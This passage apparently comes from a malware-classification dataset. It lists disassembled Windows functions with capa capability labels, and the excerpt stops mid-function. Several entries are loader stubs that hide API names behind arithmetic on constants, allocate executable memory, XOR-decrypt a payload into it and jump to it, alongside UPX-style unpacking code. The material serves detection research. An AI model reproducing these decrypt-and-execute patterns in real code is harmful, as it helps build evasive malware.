joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b5690
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4ef990
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.004b5240
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.004b52c0
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.004b52c0
lea ecx, [esi + 0xc]
call fcn.004dd78e
lea ecx, [esi + 0x10]
call fcn.004dd78e
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.004b7af0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.004b7af0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.004b7af0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004dd803
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004dd803
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x4b6338
Capabilities:
Get hostname

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4efbb8
push eax
mov dword fs:[0], esp
sub esp, 0x64
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x4b6348
call fcn.004b6860
mov edi, dword [esp + 0x7c]
test edi, edi
je 0x4b642b
cmp byte [edi], 0
je 0x4b642b
mov eax, dword [esp + 0x8c]
test eax, eax
jg 0x4b636d
mov eax, 0x7d0
mov ecx, esi
mov dword [esi + 8], eax
call fcn.004b5060
test eax, eax
jne 0x4b638d
push 0x8dd04c
lea ecx, [esi + 0x38]
call fcn.004dd940
jmp 0x4b642b
mov eax, dword [esp + 0x80]
mov ecx, esi
push eax
push edi
call fcn.004b50b0
test eax, eax
jne 0x4b63bc
mov ecx, esi
call fcn.004b51b0
push edi
add esi, 0x38
push 0x8dd028
push esi
call fcn.004da8ce
add esp, 0xc
jmp 0x4b642b
push 0xdc
mov ecx, esi
mov dword [esi + 4], 1
call fcn.004b70e0
test eax, eax
je 0x4b6424
lea ecx, [esp + 8]
push 0x64
push ecx
call sub.WS2_32.dll_gethostname
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x84]
lea edx, [esp + 0x8c]
mov dword [esp + 0x8c], 1
push edx
push eax
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.004b6500
test eax, eax
jne 0x4b6440
push edi
lea eax, [esi + 0x38]
push 0x8dd004
push eax
call fcn.004da8ce
add esp, 0xc
mov ecx, esi
call fcn.004b6860
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
mov eax, dword [esp + 0x8c]
test eax, eax
je 0x4b64e8
mov ecx, dword [0x8dd5c4]
mov dword [esp + 0x7c], ecx
lea edx, [esp + 8]
lea eax, [esp + 0x7c]
push edx
push str.HELO__s_r_n
push eax
mov dword [esp + 0x80], 0
call fcn.004da8ce
mov edx, dword [esp + 0x88]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov ecx, esi
call fcn.004b5160
test eax, eax
jne 0x4b64aa
push 0x8dcfe8
lea ecx, [esi + 0x38]
call fcn.004dd940
jmp 0x4b64ba
push 0xfa
mov ecx, esi
call fcn.004b70e0
test eax, eax
jne 0x4b64d7
mov ecx, esi
call fcn.004b6860
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.004dd803
jmp 0x4b642b
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.004dd803
mov ecx, dword [esp + 0x6c]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
Function at 0x4d2e90
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x4f0e40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
mov al, byte [esp + 0x3c]
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov byte [esp + 0x10], al
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov ecx, dword [esp + 0x44]
push ebx
mov dword [esp + 0x40], ebx
mov byte [esp + 0x28], al
mov edx, dword [ecx]
lea ecx, [esp + 0x28]
mov dword [esp + 0x24], edx
call fcn.004c7d93
mov eax, dword [0x8b8de0]
lea ecx, [esp + 0x10]
push eax
push ebx
push ecx
lea ecx, [esp + 0x30]
call fcn.004c7cc5
lea edx, [esp + 0x20]
lea eax, [esp + 8]
push edx
push eax
mov ecx, esi
mov byte [esp + 0x44], 1
call fcn.004d3970
mov esi, dword [eax]
mov ecx, dword [eax + 4]
mov eax, dword [esp + 0x28]
cmp eax, ebx
mov dword [esp + 0xc], ecx
je 0x4d2f37
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4d2f2e
cmp al, 0xff
je 0x4d2f2e
dec al
mov byte [ecx], al
jmp 0x4d2f37
push ecx
call fcn.004dd56d
add esp, 4
mov eax, dword [esp + 0x14]
mov dword [esp + 0x28], ebx
cmp eax, ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
je 0x4d2f68
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4d2f5f
cmp al, 0xff
je 0x4d2f5f
dec al
mov byte [ecx], al
jmp 0x4d2f68
push ecx
call fcn.004dd56d
add esp, 4
mov ecx, dword [esp + 0x34]
lea eax, [esi + 0x10]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x38
ret 4
Function at 0x4dfbe3
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4dfc1b
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004ddc5e
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004ddc36
jmp 0x4dfc27
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4e13de
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4e1420
call fcn.004e77ce
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4e1420
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4e1417
xor eax, eax
jmp 0x4e1428
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004e142e
pop edi
pop esi
pop ebx
ret 4

Function at 0x4e7cfe
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4e7d2c
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4e7d4a
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004e7c64
jmp 0x4e7d4a
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4e7d4a
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004e7c64
test edi, edi
mov eax, edi
jne 0x4e7d34
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x628a90
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x134000]
push edi
or ebp, 0xffffffff
jmp 0x628ab2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x628ab9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x628aa8
mov eax, 1
add ebx, ebx
jne 0x628acb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x628adc
jne 0x628afb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x628afb
dec eax
add ebx, ebx
jne 0x628ae8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x628ac0
add ebx, ebx
jne 0x628af7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x628b4d
xor ecx, ecx
sub eax, 3
jb 0x628b13
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x628b82
sar eax, 1
mov ebp, eax
jmp 0x628b1e
add ebx, ebx
jne 0x628b1e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x628aec
inc ecx
add ebx, ebx
jne 0x628b2c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x628aec
add ebx, ebx
jne 0x628b39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x628b2e
jne 0x628b4a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x628b2e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x628b6c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x628b5e
jmp 0x628aae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x628b6c
add edi, ecx
jmp 0x628aae
pop esi
mov edi, esi
mov ecx, 0x6d45
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x628b8a
cmp byte [edi], 0x28
jne 0x628b8a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x628b8f
lea edi, [esi + 0x224000]
mov eax, dword [edi]
or eax, eax
je 0x628bfe
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x231ab0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x231bb4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x628bbc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x231bb8]
or eax, eax
je 0x628bf8
mov dword [ebx], eax
add ebx, 4
jmp 0x628bd9
call dword [esi + 0x231bc8]
mov ebp, dword [esi + 0x231bbc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x628c32
sub esp, 0xffffff80
jmp 0x4f2d60
Function at 0x405c40
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4284b3
mov eax, dword fs:[0]
push eax
sub esp, 0x98
mov eax, dword [0x439018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [0x42a08c]
mov esi, eax
lea ecx, [ebp - 0xa0]
mov edx, esi
call fcn.00405ba0
mov edi, eax
mov edx, esi
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x88]
call fcn.00405aa0
push eax
mov edx, 0x4359e8
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x70]
call fcn.0040c910
push 0x4359d8
mov edx, eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x58]
call fcn.0040c980
push edi
mov edx, eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x40]
call fcn.0040cb40
push 0x4359cc
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x28]
call fcn.0040c980
add esp, 0x10
lea ecx, [ebp - 0x40]
call fcn.00402e00
lea ecx, [ebp - 0x58]
call fcn.00402e00
lea ecx, [ebp - 0x70]
call fcn.00402e00
lea ecx, [ebp - 0x88]
call fcn.00402e00
lea ecx, [ebp - 0xa0]
call fcn.00402e00
push 0
push 0
lea ecx, [ebp - 0x28]
call fcn.00402dc0
push eax
push 0x4359fc
push 0
push 0
call dword [0x42a1bc]
push 0
call fcn.00416e30
int3
Function at 0x40c060
Capabilities:
Encode data using xor

Disassembly:
cmp byte [ecx + 0x15], 0
je 0x40c08a
movups xmm0, xmmword [ecx]
mov eax, 0x10
movaps xmm1, xmmword [0x435bd0]
pxor xmm1, xmm0
movups xmmword [ecx], xmm1
nop dword [eax]
xor byte [eax + ecx], 0x2e
inc eax
cmp eax, 0x16
jb 0x40c080
mov eax, ecx
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x406ac2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x406ad1
pop dword [ebp - 0x40]
mov eax, 0x4f8af6ba
add eax, 0xb0b57417
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xa54ab8e5
sub dword [ebp - 0x50], 0x56f8739a
mov dword [ebp - 0x4c], 0xc010a78a
sub dword [ebp - 0x4c], 0x8ddd5b45
mov dword [ebp - 0x48], 0x28f190c6
sub dword [ebp - 0x48], 0xdca54c98
mov dword [ebp - 0x44], 0xb23fa3de
add dword [ebp - 0x44], 0x4dc05c22
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xe15689eb
add dword [ebp - 0x50], 0x931bdf6b
mov dword [ebp - 0x4c], 0x7ace56a1
add dword [ebp - 0x4c], 0xc69e0ad4
mov dword [ebp - 0x48], 0xb2d45a13
add dword [ebp - 0x48], 0xb09b1259
mov dword [ebp - 0x44], 0xb8b29c13
sub dword [ebp - 0x44], 0xb8b29c13
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3a772
push 0
call eax
mov ecx, 0xbaa6c40e
add ecx, 0x455986a7
mov esi, eax
mov edi, 0xc9c681df
add edi, 0x367b2e21
add edi, dword [ebp - 0x40]
mov edx, 0x6c83e627
add edx, 0xf9c89053
sub dword [ebp - 0x18], 0xebd7bda6
mov ebx, dword [edi]
add dword [ebp - 0x1c], ebx
xor ebx, edx
xor dword [ebp - 0x34], 0x3d96d40f
mov dword [esi], ebx
xor dword [ebp - 0x34], esi
add esi, 4
add edi, 0x8966710c
sub edi, 0x89667108
loop 0x406be9
add eax, 0x4202abe6
add eax, 0xbdfe71c1
mov ebx, eax
add eax, 0x16c4ce69
sub eax, 0x16c4ce64
mov ecx, 0x9cebb9a7
add ecx, 0x63544659
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408ecc
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0xae34524
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x28075df3
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40596d
pop dword [ebp - 0x38]
mov eax, 0x3d48ad0
sub eax, 0x3943163
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xd2153df9
add dword [ebp - 0x48], 0x7c3d0752
mov dword [ebp - 0x44], 0x82b9f4f9
add dword [ebp - 0x44], 0xaf79574c
mov dword [ebp - 0x40], 0xa8308cea
sub dword [ebp - 0x40], 0x5be448bc
mov dword [ebp - 0x3c], 0x627a20b5
sub dword [ebp - 0x3c], 0x627a20b5
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xd16f8a73
add dword [ebp - 0x48], 0xa302dee3
mov dword [ebp - 0x44], 0x57433ee
add dword [ebp - 0x44], 0x3bf82d87
mov dword [ebp - 0x40], 0x2054a193
add dword [ebp - 0x40], 0x431acad9
mov dword [ebp - 0x3c], 0xeb98503a
sub dword [ebp - 0x3c], 0xeb98503a
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xf9c5330a
add eax, 0x67b3df6
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x34473
push 0
call eax
mov ecx, 0xea9218c8
add ecx, 0x156e2577
xor edx, edx
add edx, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x38]
mov esi, 0x1f21c48
xor dword [ebp - 0x10], ebx
mov edi, dword [ebx]
sub dword [ebp - 0x10], esi
xor edi, esi
mov dword [ebp - 0x14], 0x294dbb3c
mov dword [edx], edi
sub dword [ebp - 0x28], edi
add edx, 4
add ebx, 4
loop 0x405a80
add eax, 0xebcf
mov ebx, eax
add eax, 0xcc53297d
add eax, 0x33acd688
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x406937
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x40b138
call fcn.00406c3c
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x40dbfc
push 0
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
test eax, eax
je 0x4066d6
cmp eax, esi
jne 0x4066c9
xor esi, esi
inc esi
mov ebx, esi
jmp 0x4066d9
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x4066b0
xor esi, esi
inc esi
mov eax, dword [0x40dbf8]
cmp eax, esi
jne 0x4066ec
push 0x1f
call sub.MSVCR80.dll__amsg_exit
pop ecx
jmp 0x40671b
mov eax, dword [0x40dbf8]
test eax, eax
jne 0x406715
mov dword [0x40dbf8], esi
push 0x4072cc
push 0x4072c4
call sub.MSVCR80.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x40671b
jmp 0x406843
mov dword [0x40c2cc], esi
mov eax, dword [0x40dbf8]
cmp eax, esi
jne 0x40673f
push 0x4072c0
push 0x4072b8
call sub.MSVCR80.dll__initterm
pop ecx
pop ecx
mov dword [0x40dbf8], 2
test ebx, ebx
jne 0x40674b
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x40dc08], 0
je 0x40676f
push 0x40dc08
call fcn.00406bc2
pop ecx
test eax, eax
je 0x40676f
push 0
push 2
push 0
call dword [0x40dc08]
mov eax, dword [sym.imp.MSVCR80.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x4067cb
test al, al
je 0x406789
cmp dword [ebp - 0x1c], 0
jne 0x4067cb
mov al, byte [esi]
test al, al
je 0x406799
cmp al, 0x20
ja 0x406799
inc esi
mov dword [ebp - 0x20], esi
jmp 0x406789
test byte [ebp - 0x3c], 1
je 0x4067a5
movzx eax, word [ebp - 0x38]
jmp 0x4067a8
push 0xa
pop eax
push eax
push esi
push 0
push 0x400000
call main
mov dword [0x40c2c8], eax
cmp dword [0x40c2bc], 0
jne 0x40681f
push eax
call dword [sym.imp.MSVCR80.dll_exit]
cmp al, 0x22
jne 0x4067da
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR80.dll__ismbblead]
pop ecx
test eax, eax
je 0x4067ed
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x406776
cmp dword [0x40c2cc], 0
jne 0x40682e
call dword [sym.imp.MSVCR80.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x40c2c8]
jmp 0x40684f
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.00406c81
ret
call fcn.0040595e
jmp 0x406676

Function at 0x103c0660
Capabilities:
Encode data using xor

Disassembly:
jmp 0x103c066a
pushal
call 0x103c0670
pop ebp
sub ebp, 0x10
sub ebp, 0x3c0660
mov al, byte [esp + 0x28]
cmp al, 1
je 0x103c0694
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x103c069d
mov eax, 0x3c0660
add eax, ebp
add eax, 0x63
mov ecx, 0x632
mov edx, 0xfdc70451
xor byte [eax], dl
inc eax
dec ecx
jne 0x103c06b4
jmp 0x103c06c7
ficomp dword [edx + ebx*8 + 0x51516dd8]
push ecx
rcl byte [eax + 0x515151a9]
push edx
pushfd
jmp 0x618d582e
Function at 0x420e1a
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push 0x403ab6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x401b40
xor eax, eax
push 2
pop esi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x2c]
push eax
push 0x401
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x2c], esi
call sub.MSVBVM60.DLL_rtcStringVar
lea eax, [ebp - 0x3c]
push eax
call sub.MSVBVM60.DLL___vbaStrVarMove
mov edx, eax
lea ecx, [ebp - 0x18]
call sub.MSVBVM60.DLL___vbaStrMove
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
push esi
call sub.MSVBVM60.DLL___vbaFreeVarList
add esp, 0xc
call fcn.00420c1f
push 0x400
push dword [ebp - 0x18]
mov esi, eax
lea eax, [ebp - 0x1c]
push eax
call sub.MSVBVM60.DLL___vbaStrToAnsi
push eax
push esi
call sub.USER32.DLL_GetWindowTextA
push dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
push eax
call sub.MSVBVM60.DLL___vbaStrToUnicode
lea ecx, [ebp - 0x1c]
call sub.MSVBVM60.DLL___vbaFreeStr
push dword [ebp - 0x18]
call fcn.004201ae
mov edx, eax
lea ecx, [ebp - 0x18]
call sub.MSVBVM60.DLL___vbaStrMove
push dword [ebp - 0x18]
push 0x409cd0
call sub.MSVBVM60.DLL___vbaStrCmp
neg eax
sbb eax, eax
inc eax
neg eax
mov dword [ebp - 0x14], eax
push 0x420f13
jmp 0x420f0a
lea ecx, [ebp - 0x18]
call sub.MSVBVM60.DLL___vbaFreeStr
ret

Function at 0x421d4a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x403ab6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0xc], esp
mov dword [ebp - 8], 0x401be0
mov edx, dword [ebp + 8]
xor eax, eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], eax
call sub.MSVBVM60.DLL___vbaStrCopy
push dword [ebp - 0x1c]
call sub.MSVBVM60.DLL___vbaLenBstr
cmp dword [ebp + 0xc], eax
jge 0x421ddc
push dword [ebp - 0x1c]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x3c], 0x4008
call sub.MSVBVM60.DLL___vbaLenBstr
sub eax, dword [ebp + 0xc]
jo 0x421e17
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
call sub.MSVBVM60.DLL_rtcLeftCharVar
lea eax, [ebp - 0x2c]
push eax
call sub.MSVBVM60.DLL___vbaStrVarMove
mov edx, eax
lea ecx, [ebp - 0x18]
call sub.MSVBVM60.DLL___vbaStrMove
lea ecx, [ebp - 0x2c]
call sub.MSVBVM60.DLL___vbaFreeVar
push 0x421e03
jmp 0x421dfa
lea ecx, [ebp - 0x1c]
call sub.MSVBVM60.DLL___vbaFreeStr
ret
call sub.MSVBVM60.DLL___vbaErrorOverflow
Function at 0x421e1c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x403ab6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x50
push ebx
push esi
push edi
mov dword [ebp - 0xc], esp
mov dword [ebp - 8], 0x401bf0
mov edx, dword [ebp + 8]
xor eax, eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], eax
call sub.MSVBVM60.DLL___vbaStrCopy
push dword [ebp - 0x1c]
call sub.MSVBVM60.DLL___vbaLenBstr
mov ecx, dword [ebp + 0xc]
cmp ecx, eax
jge 0x421ecb
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x2c]
push eax
add ecx, 1
jo 0x421f10
push ecx
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x24], 0x80020004
mov dword [ebp - 0x2c], 0xa
mov dword [ebp - 0x4c], 0x4008
call sub.MSVBVM60.DLL_rtcMidCharVar
lea eax, [ebp - 0x3c]
push eax
call sub.MSVBVM60.DLL___vbaStrVarMove
mov edx, eax
lea ecx, [ebp - 0x18]
call sub.MSVBVM60.DLL___vbaStrMove
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
push 2
call sub.MSVBVM60.DLL___vbaFreeVarList
add esp, 0xc
push 0x421efc
jmp 0x421ef3
lea ecx, [ebp - 0x1c]
call sub.MSVBVM60.DLL___vbaFreeStr
ret
call sub.MSVBVM60.DLL___vbaErrorOverflow

Function at 0x421f15
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x403ab6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x48
push ebx
push esi
push edi
mov dword [ebp - 0xc], esp
mov dword [ebp - 8], 0x401c00
xor eax, eax
push 2
pop esi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x34]
push eax
push 0x401
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x34], esi
call sub.MSVBVM60.DLL_rtcStringVar
lea eax, [ebp - 0x44]
push eax
call sub.MSVBVM60.DLL___vbaStrVarMove
mov edx, eax
lea ecx, [ebp - 0x20]
call sub.MSVBVM60.DLL___vbaStrMove
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x34]
push eax
push esi
call sub.MSVBVM60.DLL___vbaFreeVarList
add esp, 0xc
push dword [ebp - 0x20]
lea eax, [ebp - 0x24]
push eax
call sub.MSVBVM60.DLL___vbaStrToAnsi
push eax
push 0x400
call sub.KERNEL32.DLL_GetTempPathA
push dword [ebp - 0x24]
lea eax, [ebp - 0x20]
push eax
call sub.MSVBVM60.DLL___vbaStrToUnicode
lea ecx, [ebp - 0x24]
call sub.MSVBVM60.DLL___vbaFreeStr
push dword [ebp - 0x20]
call fcn.004201ae
mov edx, eax
lea ecx, [ebp - 0x1c]
